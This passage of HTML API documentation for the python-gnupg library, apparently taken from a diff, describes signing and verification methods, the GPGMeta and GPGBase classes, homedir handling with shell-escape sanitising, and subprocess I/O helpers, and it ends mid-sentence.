literal"><span class="pre">S</span> <span class="pre">(sign)</span></tt>, and <tt class="docutils literal"><span class="pre">E</span> -<span class="pre">(encrypt)</span></tt>, were all the same key, the key would “wear down” through -frequent signing usage – since signing data is usually done often – -meaning that the secret portion of the keypair, also used for -decryption in this scenario, would have a statistically higher -probability of an adversary obtaining an oracle for it (or for a -portion of the rounds in the cipher algorithm, depending on the family -of cryptanalytic attack used).</p> -<p>In simpler terms: this function isn’t for signing your friends’ keys, -it’s for something like signing an email.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>data</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">str</span></tt></a> or <a class="reference external" href="http://docs.python.org/library/functions.html#file" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">file</span></tt></a>) – A string or file stream to sign.</li> -<li><strong>default_key</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The key to sign with.</li> -<li><strong>passphrase</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The passphrase to pipe to stdin.</li> -<li><strong>clearsign</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, create a cleartext signature.</li> -<li><strong>detach</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, create a detached signature.</li> -<li><strong>binary</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, do not ascii armour the output.</li> -<li><strong>digest_algo</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The hash digest to use. Again, to see which -hashes your GnuPG is capable of using, do: -<strong class="command">$ gpg –with-colons –list-config digestname</strong>. -The default, if unspecified, is <tt class="docutils literal"><span class="pre">'SHA512'</span></tt>.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.verify"> -<tt class="descname">verify</tt><big>(</big><em>data</em><big>)</big><a class="headerlink" href="#gnupg.GPG.verify" title="Permalink to this definition">¶</a></dt> -<dd><p>Verify the signature on the contents of the string <tt class="docutils literal"><span class="pre">data</span></tt>.</p> -<div class="highlight-python"><div class="highlight"><pre><span class="gp">>>> </span><span class="n">gpg</span> <span class="o">=</span> <span class="n">GPG</span><span class="p">(</span><span class="n">homedir</span><span class="o">=</span><span class="s">"doctests"</span><span class="p">)</span> -<span class="gp">>>> </span><span class="nb">input</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key_input</span><span class="p">(</span><span class="n">Passphrase</span><span class="o">=</span><span class="s">'foo'</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">key</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key</span><span class="p">(</span><span class="nb">input</span><span class="p">)</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">key</span> -<span class="gp">>>> </span><span class="n">sig</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">sign</span><span class="p">(</span><span class="s">'hello'</span><span class="p">,</span><span class="n">keyid</span><span class="o">=</span><span class="n">key</span><span class="o">.</span><span class="n">fingerprint</span><span class="p">,</span><span class="n">passphrase</span><span class="o">=</span><span class="s">'bar'</span><span class="p">)</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="ow">not</span> <span class="n">sig</span> -<span class="gp">>>> </span><span class="n">sig</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">sign</span><span class="p">(</span><span class="s">'hello'</span><span class="p">,</span><span class="n">keyid</span><span class="o">=</span><span class="n">key</span><span class="o">.</span><span class="n">fingerprint</span><span class="p">,</span><span class="n">passphrase</span><span class="o">=</span><span class="s">'foo'</span><span class="p">)</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">sig</span> -<span class="gp">>>> </span><span class="n">verify</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">verify</span><span class="p">(</span><span class="n">sig</span><span class="o">.</span><span class="n">data</span><span class="p">)</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">verify</span> -</pre></div> -</div> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.verify_file"> -<tt class="descname">verify_file</tt><big>(</big><em>file</em>, <em>sig_file=None</em><big>)</big><a class="headerlink" href="#gnupg.GPG.verify_file" title="Permalink to this definition">¶</a></dt> -<dd><p>Verify the signature on the contents of a file or file-like -object. Can handle embedded signatures as well as detached -signatures. If using detached signatures, the file containing the -detached signature should be specified as the <tt class="docutils literal"><span class="pre">sig_file</span></tt>.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>file</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#file" title="(in Python v2.7)"><em>file</em></a>) – A file descriptor object. Its type will be checked -with <a class="reference internal" href="#gnupg._util._is_file" title="gnupg._util._is_file"><tt class="xref py py-func docutils literal"><span class="pre">_util._is_file()</span></tt></a>.</li> -<li><strong>sig_file</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – A file containing the GPG signature data for -<tt class="docutils literal"><span class="pre">file</span></tt>. If given, <tt class="docutils literal"><span class="pre">file</span></tt> is verified via this detached -signature.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -</dd></dl> - -</div> -<div class="section" id="meta-module"> -<span id="meta"></span><h2>meta module<a class="headerlink" href="#meta-module" title="Permalink to this headline">¶</a></h2> -<p>Contains the meta and base classes which <a class="reference internal" href="#gnupg.GPG" title="gnupg.GPG"><tt class="xref py py-class docutils literal"><span class="pre">gnupg.GPG</span></tt></a> inherits -from. Mostly, you shouldn’t ever need to touch anything in here, unless you’re -doing some serious hacking.</p> -<span class="target" id="module-gnupg._meta"></span><p>Meta and base classes for hiding internal functions, and controlling -attribute creation and handling.</p> -<dl class="class"> -<dt id="gnupg._meta.GPGMeta"> -<em class="property">class </em><tt class="descname">GPGMeta</tt><a class="reference internal" href="_modules/gnupg/_meta.html#GPGMeta"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGMeta" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <tt class="xref py py-class docutils literal"><span class="pre">type</span></tt></p> -<p>Metaclass for changing the :meth:GPG.__init__ initialiser.</p> -<p>Detects running gpg-agent processes and the presence of a pinentry -program, and disables pinentry so that python-gnupg can write the -passphrase to the controlled GnuPG process without killing the agent.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name" colspan="2">Attr _agent_proc:</th></tr> -<tr class="field-odd field"><td> </td><td class="field-body">If a <strong class="program">gpg-agent</strong> process is currently running -for the effective userid, then <strong>_agent_proc</strong> will be -set to a <tt class="docutils literal"><span class="pre">psutil.Process</span></tt> for that process.</td> -</tr> -</tbody> -</table> -<dl class="staticmethod"> -<dt id="gnupg._meta.GPGMeta.__new__"> -<em class="property">static </em><tt class="descname">__new__</tt><big>(</big><em>name</em>, <em>bases</em>, <em>attrs</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGMeta.__new__"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGMeta.__new__" title="Permalink to this definition">¶</a></dt> -<dd><p>Construct the initialiser for GPG</p> -</dd></dl> - -<dl class="classmethod"> -<dt id="gnupg._meta.GPGMeta._find_agent"> -<em class="property">classmethod </em><tt class="descname">_find_agent</tt><big>(</big><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGMeta._find_agent"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGMeta._find_agent" title="Permalink to this definition">¶</a></dt> -<dd><p>Discover if a gpg-agent process for the current euid is running.</p> -<p>If there is a matching gpg-agent process, set a <tt class="xref py py-class docutils literal"><span class="pre">psutil.Process</span></tt> -instance containing the gpg-agent process’ information to -<tt class="docutils literal"><span class="pre">cls._agent_proc</span></tt>.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body">True if there exists a gpg-agent process running under the -same effective user ID as that of this program. Otherwise, -returns None.</td> -</tr> -</tbody> -</table> -</dd></dl> - -</dd></dl> - -<dl class="class"> -<dt id="gnupg._meta.GPGBase"> -<em class="property">class </em><tt class="descname">GPGBase</tt><big>(</big><em>binary=None</em>, <em>home=None</em>, <em>keyring=None</em>, <em>secring=None</em>, <em>use_agent=False</em>, <em>default_preference_list=None</em>, <em>verbose=False</em>, <em>options=None</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <tt class="xref py py-class docutils literal"><span class="pre">object</span></tt></p> -<p>Base class for storing properties and controlling process initialisation.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name" colspan="2">Const _result_map:</th></tr> -<tr class="field-odd field"><td> </td><td class="field-body">A <em>dict</em> containing classes from -<a class="reference internal" href="#module-gnupg._parsers" title="gnupg._parsers"><tt class="xref py py-mod docutils literal"><span class="pre">_parsers</span></tt></a>, used for parsing results -obtained from GnuPG commands.</td> -</tr> -<tr class="field-even field"><th class="field-name" colspan="2">Const _decode_errors:</th></tr> -<tr class="field-even field"><td> </td><td class="field-body">How to handle encoding errors.</td> -</tr> -</tbody> -</table> -<p>Create a <tt class="docutils literal"><span class="pre">GPGBase</span></tt>.</p> -<p>This class is used to set up properties for controlling the behaviour -of configuring various options for GnuPG, such as setting GnuPG’s -<strong>homedir</strong> , and the paths to its <strong>binary</strong> and <strong>keyring</strong> .</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Const binary:</th><td class="field-body"><p class="first">(<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">str</span></tt></a>) The full path to the GnuPG binary.</p> -</td> -</tr> -<tr class="field-even field"><th class="field-name">Variables:</th><td class="field-body"><ul class="first last simple"> -<li><strong>homedir</strong> – (<a class="reference internal" href="#gnupg._util.InheritableProperty" title="gnupg._util.InheritableProperty"><tt class="xref py py-class docutils literal"><span class="pre">InheritableProperty</span></tt></a>) The full -path to the current setting for the GnuPG -<tt class="docutils literal"><span class="pre">--homedir</span></tt>.</li> -<li><strong>_generated_keys</strong> – (<a class="reference internal" href="#gnupg._util.InheritableProperty" title="gnupg._util.InheritableProperty"><tt class="xref py py-class docutils literal"><span class="pre">InheritableProperty</span></tt></a>) -Controls setting the directory for storing any -keys which are generated with -<a class="reference internal" href="#gnupg.GPG.gen_key" title="gnupg.GPG.gen_key"><tt class="xref py py-meth docutils literal"><span class="pre">gen_key()</span></tt></a>.</li> -<li><strong>keyring</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The filename in <strong>homedir</strong> to use as the keyring -file for public keys.</li> -<li><strong>secring</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The filename in <strong>homedir</strong> to use as the keyring -file for secret keys.</li> -</ul> -</td> -</tr> -</tbody> -</table> -<dl class="method"> -<dt id="gnupg._meta.GPGBase.__init__"> -<tt class="descname">__init__</tt><big>(</big><em>binary=None</em>, <em>home=None</em>, <em>keyring=None</em>, <em>secring=None</em>, <em>use_agent=False</em>, <em>default_preference_list=None</em>, <em>verbose=False</em>, <em>options=None</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase.__init__"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase.__init__" title="Permalink to this definition">¶</a></dt> -<dd><p>Create a <tt class="docutils literal"><span class="pre">GPGBase</span></tt>.</p> -<p>This class is used to set up properties for controlling the behaviour -of configuring various options for GnuPG, such as setting GnuPG’s -<strong>homedir</strong> , and the paths to its <strong>binary</strong> and <strong>keyring</strong> .</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Const binary:</th><td class="field-body"><p class="first">(<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">str</span></tt></a>) The full path to the GnuPG binary.</p> -</td> -</tr> -<tr class="field-even field"><th class="field-name">Variables:</th><td class="field-body"><ul class="first last simple"> -<li><strong>homedir</strong> – (<a class="reference internal" href="#gnupg._util.InheritableProperty" title="gnupg._util.InheritableProperty"><tt class="xref py py-class docutils literal"><span class="pre">InheritableProperty</span></tt></a>) The full -path to the current setting for the GnuPG -<tt class="docutils literal"><span class="pre">--homedir</span></tt>.</li> -<li><strong>_generated_keys</strong> – (<a class="reference internal" href="#gnupg._util.InheritableProperty" title="gnupg._util.InheritableProperty"><tt class="xref py py-class docutils literal"><span class="pre">InheritableProperty</span></tt></a>) -Controls setting the directory for storing any -keys which are generated with -<a class="reference internal" href="#gnupg.GPG.gen_key" title="gnupg.GPG.gen_key"><tt class="xref py py-meth docutils literal"><span class="pre">gen_key()</span></tt></a>.</li> -<li><strong>keyring</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The filename in <strong>homedir</strong> to use as the keyring -file for public keys.</li> -<li><strong>secring</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The filename in <strong>homedir</strong> to use as the keyring -file for secret keys.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._meta.GPGBase.__remove_path__"> -<tt class="descname">__remove_path__</tt><big>(</big><em>prog=None</em>, <em>at_exit=True</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase.__remove_path__"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase.__remove_path__" title="Permalink to this definition">¶</a></dt> -<dd><p>Remove the directories containing a program from the system’s -<tt class="docutils literal"><span class="pre">$PATH</span></tt>. If <tt class="docutils literal"><span class="pre">GPGBase.binary</span></tt> is in a directory being removed, it -is linked to :<a class="reference external" href="file:'./gpg">file:’./gpg</a>‘ in the current directory.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>prog</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The program to remove from <tt class="docutils literal"><span class="pre">$PATH</span></tt>.</li> -<li><strong>at_exit</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – Add the program back into the <tt class="docutils literal"><span class="pre">$PATH</span></tt> when the -Python interpreter exits, and delete any symlinks -to <tt class="docutils literal"><span class="pre">GPGBase.binary</span></tt> which were created.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._meta.GPGBase.default_preference_list"> -<tt class="descname">default_preference_list</tt><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase.default_preference_list"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase.default_preference_list" title="Permalink to this definition">¶</a></dt> -<dd><p>Get the default preference list.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._meta.GPGBase.keyserver"> -<tt class="descname">keyserver</tt><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase.keyserver"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase.keyserver" title="Permalink to this definition">¶</a></dt> -<dd><p>Get the current keyserver setting.</p> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._meta.GPGBase._homedir_getter"> -<tt class="descname">_homedir_getter</tt><big>(</big><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase._homedir_getter"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase._homedir_getter" title="Permalink to this definition">¶</a></dt> -<dd><p>Get the directory currently being used as GnuPG’s homedir.</p> -<p>If unspecified, use <tt class="file docutils literal"><span class="pre">~/.config/python-gnupg/</span></tt></p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Return type:</th><td class="field-body">str</td> -</tr> -<tr class="field-even field"><th class="field-name">Returns:</th><td class="field-body">The absolute path to the current GnuPG homedir.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._meta.GPGBase._homedir_setter"> -<tt class="descname">_homedir_setter</tt><big>(</big><em>directory</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase._homedir_setter"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase._homedir_setter" title="Permalink to this definition">¶</a></dt> -<dd><p>Set the directory to use as GnuPG’s homedir.</p> -<p>If unspecified, use $HOME/.config/python-gnupg. If specified, ensure -that the <tt class="docutils literal"><span class="pre">directory</span></tt> does not contain various shell escape -characters. If <tt class="docutils literal"><span class="pre">directory</span></tt> is not found, it will be automatically -created. Lastly, the <tt class="docutils literal"><span class="pre">direcory</span></tt> will be checked that the EUID has -read and write permissions for it.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>directory</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – A relative or absolute path to the directory to -use for storing/accessing GnuPG’s files, including -keyrings and the trustdb.</td> -</tr> -<tr class="field-even field"><th class="field-name">Raises:</th><td class="field-body"><a class="reference external" href="http://docs.python.org/library/exceptions.html#exceptions.RuntimeError" title="(in Python v2.7)"><tt class="xref py py-exc docutils literal"><span class="pre">RuntimeError</span></tt></a> if unable to find a suitable -directory to use.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._meta.GPGBase.homedir"> -<tt class="descname">homedir</tt><a class="headerlink" href="#gnupg._meta.GPGBase.homedir" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="method"> -<dt id="gnupg._meta.GPGBase._generated_keys_getter"> -<tt class="descname">_generated_keys_getter</tt><big>(</big><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase._generated_keys_getter"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase._generated_keys_getter" title="Permalink to this definition">¶</a></dt> -<dd><p>Get the <tt class="docutils literal"><span class="pre">homedir</span></tt> subdirectory for storing generated keys.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Return type:</th><td class="field-body">str</td> -</tr> -<tr class="field-even field"><th class="field-name">Returns:</th><td class="field-body">The absolute path to the current GnuPG homedir.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._meta.GPGBase._generated_keys_setter"> -<tt class="descname">_generated_keys_setter</tt><big>(</big><em>directory</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase._generated_keys_setter"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase._generated_keys_setter" title="Permalink to this definition">¶</a></dt> -<dd><p>Set the directory for storing generated keys.</p> -<p>If unspecified, use -<a class="reference internal" href="#gnupg._meta.GPGBase.homedir" title="gnupg._meta.GPGBase.homedir"><tt class="xref py py-meth docutils literal"><span class="pre">homedir()</span></tt></a>/generated-keys. If specified, -ensure that the <tt class="docutils literal"><span class="pre">directory</span></tt> does not contain various shell escape -characters. If <tt class="docutils literal"><span class="pre">directory</span></tt> isn’t found, it will be automatically -created. Lastly, the <tt class="docutils literal"><span class="pre">directory</span></tt> will be checked to ensure that the -current EUID has read and write permissions for it.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>directory</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – A relative or absolute path to the directory to -use for storing/accessing GnuPG’s files, including keyrings and -the trustdb.</td> -</tr> -<tr class="field-even field"><th class="field-name">Raises:</th><td class="field-body"><a class="reference external" href="http://docs.python.org/library/exceptions.html#exceptions.RuntimeError" title="(in Python v2.7)"><tt class="xref py py-exc docutils literal"><span class="pre">RuntimeError</span></tt></a> if unable to find a suitable -directory to use.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._meta.GPGBase._generated_keys"> -<tt class="descname">_generated_keys</tt><a class="headerlink" href="#gnupg._meta.GPGBase._generated_keys" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="method"> -<dt id="gnupg._meta.GPGBase._make_args"> -<tt class="descname">_make_args</tt><big>(</big><em>args</em>, <em>passphrase=False</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase._make_args"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase._make_args" title="Permalink to this definition">¶</a></dt> -<dd><p>Make a list of command line elements for GPG.</p> -<p>The value of <tt class="docutils literal"><span class="pre">args</span></tt> will be appended only if it passes the checks in -<a class="reference internal" href="#gnupg._parsers._sanitise" title="gnupg._parsers._sanitise"><tt class="xref py py-func docutils literal"><span class="pre">gnupg._parsers._sanitise()</span></tt></a>. The <tt class="docutils literal"><span class="pre">passphrase</span></tt> argument needs to -be True if a passphrase will be sent to GnuPG, else False.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>args</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#list" title="(in Python v2.7)"><em>list</em></a>) – A list of strings of options and flags to pass to -<tt class="docutils literal"><span class="pre">GPG.binary</span></tt>. This is input safe, meaning that -these values go through strict checks (see -<tt class="docutils literal"><span class="pre">parsers._sanitise_list</span></tt>) before being passed to to -the input file descriptor for the GnuPG process. -Each string should be given exactly as it would be on -the commandline interface to GnuPG, -e.g. [“–cipher-algo AES256”, “–default-key -A3ADB67A2CDB8B35”].</li> -<li><strong>passphrase</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, the passphrase will be sent to the -stdin file descriptor for the attached GnuPG -process.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._meta.GPGBase._open_subprocess"> -<tt class="descname">_open_subprocess</tt><big>(</big><em>args=None</em>, <em>passphrase=False</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase._open_subprocess"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase._open_subprocess" title="Permalink to this definition">¶</a></dt> -<dd><p>Open a pipe to a GPG subprocess and return the file objects for -communicating with it.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>args</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#list" title="(in Python v2.7)"><em>list</em></a>) – A list of strings of options and flags to pass to -<tt class="docutils literal"><span class="pre">GPG.binary</span></tt>. This is input safe, meaning that -these values go through strict checks (see -<tt class="docutils literal"><span class="pre">parsers._sanitise_list</span></tt>) before being passed to to -the input file descriptor for the GnuPG process. -Each string should be given exactly as it would be on -the commandline interface to GnuPG, -e.g. [“–cipher-algo AES256”, “–default-key -A3ADB67A2CDB8B35”].</li> -<li><strong>passphrase</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, the passphrase will be sent to the -stdin file descriptor for the attached GnuPG -process.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._meta.GPGBase._read_response"> -<tt class="descname">_read_response</tt><big>(</big><em>stream</em>, <em>result</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase._read_response"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase._read_response" title="Permalink to this definition">¶</a></dt> -<dd><p>Reads all the stderr output from GPG, taking notice only of lines -that begin with the magic [GNUPG:] prefix.</p> -<p>Calls methods on the response object for each valid token found, with -the arg being the remainder of the status line.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>stream</strong> – A byte-stream, file handle, or a -<a class="reference external" href="http://docs.python.org/library/subprocess.html#subprocess.PIPE" title="(in Python v2.7)"><tt class="xref py py-data docutils literal"><span class="pre">subprocess.PIPE</span></tt></a> for parsing the status codes -from the GnuPG process.</li> -<li><strong>result</strong> – The result parser class from <a class="reference internal" href="#module-gnupg._parsers" title="gnupg._parsers"><tt class="xref py py-mod docutils literal"><span class="pre">_parsers</span></tt></a> ― -the <tt class="docutils literal"><span class="pre">handle_status()</span></tt> method of that class will be -called in order to parse the output of <tt class="docutils literal"><span class="pre">stream</span></tt>.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._meta.GPGBase._read_data"> -<tt class="descname">_read_data</tt><big>(</big><em>stream</em>, <em>result</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase._read_data"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase._read_data" title="Permalink to this definition">¶</a></dt> -<dd><p>Incrementally read from <tt class="docutils literal"><span class="pre">stream</span></tt> and store read data.</p> -<p>All data gathered from calling <tt class="docutils literal"><span class="pre">stream.read()</span></tt> will be concatenated -and stored as <tt class="docutils literal"><span class="pre">result.data</span></tt>.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>stream</strong> – An open file-like object to read() from.</li> -<li><strong>result</strong> – An instance of one of the <a class="reference internal" href="#parsers"><em>result parsing classes</em></a> from <tt class="xref py py-const docutils literal"><span class="pre">_result_map</span></tt>.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._meta.GPGBase._collect_output"> -<tt class="descname">_collect_output</tt><big>(</big><em>process</em>, <em>result</em>, <em>writer=None</em>, <em>stdin=None</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase._collect_output"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase._collect_output" title="Permalink to this definition">¶</a></dt> -<dd><p>Drain the subprocesses output streams, writing the collected output -to the result. If a writer thread (writing to the subprocess) is given, -make sure it’s joined before returning. If a stdin stream is given, -close it before returning.</p> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._meta.GPGBase._handle_io"> -<tt class="descname">_handle_io</tt><big>(</big><em>args</em>, <em>file</em>, <em>result</em>, <em>passphrase=False</em>, <em>binary=False</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase._handle_io"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase._handle_io" title="Permalink to this definition">¶</a></dt> -<dd><p>Handle a call to GPG - pass input data, collect output data.</p> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._meta.GPGBase._recv_keys"> -<tt class="descname">_recv_keys</tt><big>(</big><em>keyids</em>, <em>keyserver=None</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase._recv_keys"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase._recv_keys" title="Permalink to this definition">¶</a></dt> -<dd><p>Import keys from a keyserver.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>keyids</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – A space-delimited string 